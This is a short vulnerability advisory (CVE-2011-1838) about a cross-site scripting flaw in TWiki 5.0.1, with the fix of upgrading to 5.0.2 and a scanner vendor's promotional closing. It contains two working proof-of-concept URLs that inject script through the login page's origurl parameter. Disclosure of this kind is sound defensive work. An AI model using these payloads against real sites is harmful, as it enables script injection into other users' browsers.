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XSS Vulnerability Identified in Twiki with Netsparker

Name :  XSS vulnerability in TWiki
Software :  TWiki 5.0.1 and possibily below.
Vendor Hompeage :  http://twiki.org/
Vulnerability Type :  Cross-Site Scripting
Severity :  High
Researcher :  Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference :  NS-11-005
CVE :  CVE-2011-1838

Description
TWiki® is a flexible, powerful, and easy to use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet or the Internet.

Details
TWiki is affected by XSS vulnerabilities in version 5.0.1.
Example PoC url is as follows :

http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
http://example.com/bin/login/Main/WebHome?'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>

You can read the full article about Cross-Site Scripting vulnerabilities from here : /crosssite-scripting-xss/

Solution
Upgrade to the latest TWiki version (5.0.2).

Credits
It has been discovered on testing of Netsparker, Web Application Security Scanner - /netsparker/.

References

About Netsparker
Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.

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